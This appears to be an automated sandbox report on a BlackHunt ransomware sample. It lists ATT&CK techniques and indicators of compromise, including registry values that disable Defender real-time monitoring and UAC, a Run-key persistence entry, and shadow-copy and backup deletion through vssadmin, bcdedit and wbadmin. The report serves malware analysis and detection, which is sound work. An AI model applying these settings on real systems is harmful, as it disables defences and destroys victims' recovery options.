5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e

Data Destruction

T1485

pid	Process
4416	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	Conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	Conhost.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5044	bcdedit.exe
996	bcdedit.exe

Renames multiple (802) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3232	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\N:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\R:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\O:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\P:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\A:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\X:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\J:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\B:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\M:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\W:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\H:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\K:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\Z:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\Q:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\T:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\S:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\G:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\L:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\V:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\E:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\Y:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\I:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\santuario.md	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCalls.c	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\tesselate.x3d	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\resources.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\uk-ua\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\vi.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_TW.properties	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\zipfs.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_chroma\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jmc.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\santuario.md	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\lua\modules\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\directshow.md	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\colorimaging.md	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\dnsns.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\natives_blob.bin	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterBold.ttf	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CollectSignatures.aapp	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ca-es\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\MCIMPP.mpp	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\glib.md	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\GroupMove.asp	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4320	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1604	vssadmin.exe
4024	vssadmin.exe
3848	vssadmin.exe
4068	vssadmin.exe
3536	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	wbengine.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	wbengine.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeRestorePrivilege	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeBackupPrivilege	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeTakeOwnershipPrivilege	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeAuditPrivilege	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeSecurityPrivilege	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeIncBasePriorityPrivilege	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeBackupPrivilege	2500	vssvc.exe
Token: SeRestorePrivilege	2500	vssvc.exe
Token: SeAuditPrivilege	2500	vssvc.exe
Token: SeBackupPrivilege	4044	wbengine.exe
Token: SeRestorePrivilege	4044	wbengine.exe
Token: SeSecurityPrivilege	4044	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 3276	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	89
PID 3368 wrote to memory of 3276	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	89
PID 3368 wrote to memory of 1672	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	90
PID 3368 wrote to memory of 1672	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	90
PID 3368 wrote to memory of 4764	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	93
PID 3368 wrote to memory of 4764	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	93
PID 3368 wrote to memory of 484	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	174
PID 3368 wrote to memory of 484	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	174
PID 3368 wrote to memory of 4368	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	95
PID 3368 wrote to memory of 4368	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	95
PID 3276 wrote to memory of 1056	3276	cmd.exe	100
PID 3276 wrote to memory of 1056	3276	cmd.exe	100
PID 1672 wrote to memory of 2452	1672	cmd.exe	99
PID 1672 wrote to memory of 2452	1672	cmd.exe	99
PID 484 wrote to memory of 1524	484	reg.exe	101
PID 484 wrote to memory of 1524	484	reg.exe	101
PID 4368 wrote to memory of 5068	4368	cmd.exe	102
PID 4368 wrote to memory of 5068	4368	cmd.exe	102
PID 4764 wrote to memory of 4044	4764	cmd.exe	103
PID 4764 wrote to memory of 4044	4764	cmd.exe	103
PID 3368 wrote to memory of 1560	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	184
PID 3368 wrote to memory of 1560	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	184
PID 3368 wrote to memory of 4032	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	106
PID 3368 wrote to memory of 4032	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	106
PID 3368 wrote to memory of 1864	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	108
PID 3368 wrote to memory of 1864	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	108
PID 3368 wrote to memory of 3960	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	109
PID 3368 wrote to memory of 3960	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	109
PID 3368 wrote to memory of 2872	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	112
PID 3368 wrote to memory of 2872	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	112
PID 3368 wrote to memory of 1976	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	114
PID 3368 wrote to memory of 1976	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	114
PID 1560 wrote to memory of 2772	1560	Conhost.exe	115
PID 1560 wrote to memory of 2772	1560	Conhost.exe	115
PID 4032 wrote to memory of 3608	4032	cmd.exe	180
PID 4032 wrote to memory of 3608	4032	cmd.exe	180
PID 3368 wrote to memory of 564	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	118
PID 3368 wrote to memory of 564	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	118
PID 3368 wrote to memory of 2284	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	120
PID 3368 wrote to memory of 2284	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	120
PID 3960 wrote to memory of 2888	3960	cmd.exe	122
PID 3960 wrote to memory of 2888	3960	cmd.exe	122
PID 3368 wrote to memory of 4516	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	123
PID 3368 wrote to memory of 4516	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	123
PID 3368 wrote to memory of 1604	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	199
PID 3368 wrote to memory of 1604	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	199
PID 1864 wrote to memory of 896	1864	cmd.exe	127
PID 1864 wrote to memory of 896	1864	cmd.exe	127
PID 3368 wrote to memory of 1200	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	128
PID 3368 wrote to memory of 1200	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	128
PID 1976 wrote to memory of 3788	1976	cmd.exe	129
PID 1976 wrote to memory of 3788	1976	cmd.exe	129
PID 2872 wrote to memory of 3832	2872	cmd.exe	131
PID 2872 wrote to memory of 3832	2872	cmd.exe	131
PID 2284 wrote to memory of 4676	2284	cmd.exe	187
PID 2284 wrote to memory of 4676	2284	cmd.exe	187
PID 3368 wrote to memory of 1632	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	134
PID 3368 wrote to memory of 1632	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	134
PID 564 wrote to memory of 4860	564	cmd.exe	135
PID 564 wrote to memory of 4860	564	cmd.exe	135
PID 1604 wrote to memory of 3500	1604	vssadmin.exe	136
PID 1604 wrote to memory of 3500	1604	vssadmin.exe	136
PID 3368 wrote to memory of 1636	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	137
PID 3368 wrote to memory of 1636	3368	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	137

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
